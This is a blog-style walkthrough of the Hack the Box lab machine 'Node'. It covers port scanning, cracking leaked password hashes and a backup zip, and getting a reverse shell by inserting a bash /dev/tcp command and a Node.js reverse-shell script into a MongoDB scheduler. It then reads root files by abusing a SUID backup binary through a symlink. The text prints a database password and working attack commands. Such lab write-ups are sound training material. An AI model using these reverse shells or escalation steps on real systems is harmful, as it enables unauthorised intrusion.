Hack the Box: Node

I ran NMAP.

nmap -vv -Pn -sS -A -sC -p- -T 3 -script-args=unsafe=1 -oA detailed_scan -n


Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-17 02:20 EST

Nmap scan report for

Host is up, received user-set (0.28s latency).

Scanned at 2018-02-17 02:20:14 EST for 791s

Not shown: 65533 filtered ports

Reason: 65533 no-responses


22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)

| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwesV+Yg8+5O97ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/SLJ44XjDzzlm0VGUqTmMP2KxANfISZWjv79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IxllSU6ZSqAV+O0ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4pE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVA8Vvf+Ysa0ElHfp3lRnw28WacWSaOyV0bsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxNlqNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbRjV96B2SWNWpxMEVL5tYGb

|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKQ4w0iqXrfz0H+KQEu5D6zKCfc6IOH2GRBKKkKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+l0OSjKaZTxPu4sU=

|   256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)


3000/tcp open  http    syn-ack ttl 63 Node.js Express framework

| hadoop-datanode-info:

|_  Logs: /login


| hadoop-tasktracker-info:

|_  Logs: /login


|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF

| http-methods:

|_  Supported Methods: GET HEAD POST OPTIONS

|_http-title: MyPlace

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS fingerprint not ideal because: Missing a closed TCP port so results incomplete

Aggressive OS guesses: Linux 3.2 - 4.8 (92%), Linux 3.10 - 4.8 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%), Linux 3.8 - 3.11 (90%), Linux 4.4 (90%)

No exact OS matches for host (test conditions non-ideal).

TCP/IP fingerprint:












Uptime guess: 0.014 days (since Sat Feb 17 02:13:15 2018)

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=255 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)


1   301.92 ms

2   302.66 ms

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 2) scan.

Initiating NSE at 02:33

Completed NSE at 02:33, 0.00s elapsed

NSE: Starting runlevel 2 (of 2) scan.

Initiating NSE at 02:33

Completed NSE at 02:33, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 794.34 seconds

           Raw packets sent: 131581 (5.793MB) | Rcvd: 467 (21.244KB)

I checked port 3000 running in Express Node.js.

While browsing the pages I noticed a page that showed user information such as ID, username, password hash and if the user is an admin or not.

I used hash-identifier to identify what hash is used.


 HASH: de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73

Possible Hashs:

[+]  SHA-256

[+]  Haval-256

Least Possible Hashs:

[+]  GOST R 34.11-94

[+]  RipeMD-256

[+]  SNEFRU-256

[+]  SHA-256(HMAC)

[+]  Haval-256(HMAC)

[+]  RipeMD-256(HMAC)

[+]  SNEFRU-256(HMAC)

[+]  SHA-256(md5($pass))

[+]  SHA-256(sha1($pass))


 HASH: f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240

Possible Hashs:

[+]  SHA-256

[+]  Haval-256

Least Possible Hashs:

[+]  GOST R 34.11-94

[+]  RipeMD-256

[+]  SNEFRU-256

[+]  SHA-256(HMAC)

[+]  Haval-256(HMAC)

[+]  RipeMD-256(HMAC)

[+]  SNEFRU-256(HMAC)

[+]  SHA-256(md5($pass))

[+]  SHA-256(sha1($pass))

The passwords used SHA-256. I used md5decrypt.net to check if it is already decrypted.

I found Tom’s and Mark’s passwords.








Using the credentials of Mark and Tom I logged on to the website and checked what I can do. Sadly, I couldn’t do anything using Mark and Tom credentials.

So, I dug deeper and found a backup button but it can be accessible by an administrators only.

I browsed the application one more time and played with the parameters to check if I missed something after a few minutes I found an administrator account. I feel so stupid that I missed this.

I used md5decrypt.net to decrypt the administrator password.





I logged on to the website using the administrator credential and download the backup. I got a 3.3MB file named “myplace.backup”.

I checked the content of the file and found a long base64 string. I decoded it.

cat myplace.backup | base64 --decode > myplace


After decoding it I checked the content of the file and found some filenames. I changed the file extension to zip and unzipped it but it required a password.

I used fcrackzip to crack the password of the zip file.

fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt myplace.zip

I unzipped the file and checked the content of app.js where I found Mark’s MongoDB login. I used the credentials of Mark to SSH in the machine and it succeeded.

I couldn’t find user.txt in Mark’s folder. I found user.txt in Tom’s folder and I don’t have a permission to view it.

During my enumeration, I noticed that Tom is running nodejs.

I analyzed /var/scheduler/app.js. As what I understand in the app.js the scheduler will run a command “cmd” stored in MongoDB every 30 seconds and delete the task after executing it.

I logged on to MongoDB and inserted a bash reverse shell in MongoDB. After 30 seconds of waiting and still, I don’t have a reverse shell. I checked the command I inserted and it was deleted. So, it means that the command I inserted was executed.


mongo scheduler -u mark -p '5AYRft73VtFpc84k'

show collections


db.tasks.insert({"cmd" : "/bin/bash -i >& /dev/tcp/>&1"});

 I searched GitHub to find a node.js reverse shell. I found this https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell.

I edited the port and host and saved it as /tmp/revshell.js. I logged on to MongoDB and saved the command.

 var net = require("net"),
  cp = require("child_process"),
  sh = cp.spawn("/bin/sh", []);
 var client = new net.Socket();
 client.connect(1337, "", function(){
 return /a/; // Prevents the Node.js application form crashing
db.tasks.insert({"cmd" : "/usr/bin/node /tmp/revshell.js"});

After 30 seconds, I received a shell and got user.txt.


I searched for SUID binaries and found /usr/local/bin/backup.

find / -perm -u=s -type f 2>/dev/null

I tried to execute it but nothing happened. I ran ltrace to check.

I analyzed how it works and found out that it is connected to the website. I read /var/www/myplace/app.js and I learned how the backup binary works. The backup binary requires three parameters first “-q”, the backup_key and directory name we want to back up. I got the backup_key on the same file app.js.

I used what I learned and tried to backup /root/ directory.

./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/ > /tmp/root.backup

After executing the command I checked the /tmp/ folder and I saw root.backup. I transferred it to my machine decode and unzipped it same as what we did on the website back up. I opened the root.txt. Tada! I got trolled!

I used ltrace again to check the behavior of the binary. I noticed that it is filtering “root” and “..” for directory traversal.

 I bypassed the filters using a symlinking. I created a symlink of /root/ directory in /tmp/link and used this to backup /root/ directory.

mkdir /tmp/link

ln -s /root/ /tmp/link/toor

./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/link/toor/ > /tmp/yay.backup

I transferred the yay.backup to my machine then decode and unzipped it. I checked the content of root.txt and got the real content.


PS: I couldn’t get the root but managed to get root.txt. Waiting for IPsec RE video!

Leave a Reply

Your email address will not be published. Required fields are marked *

Check this * Time limit is exhausted. Please reload the CAPTCHA.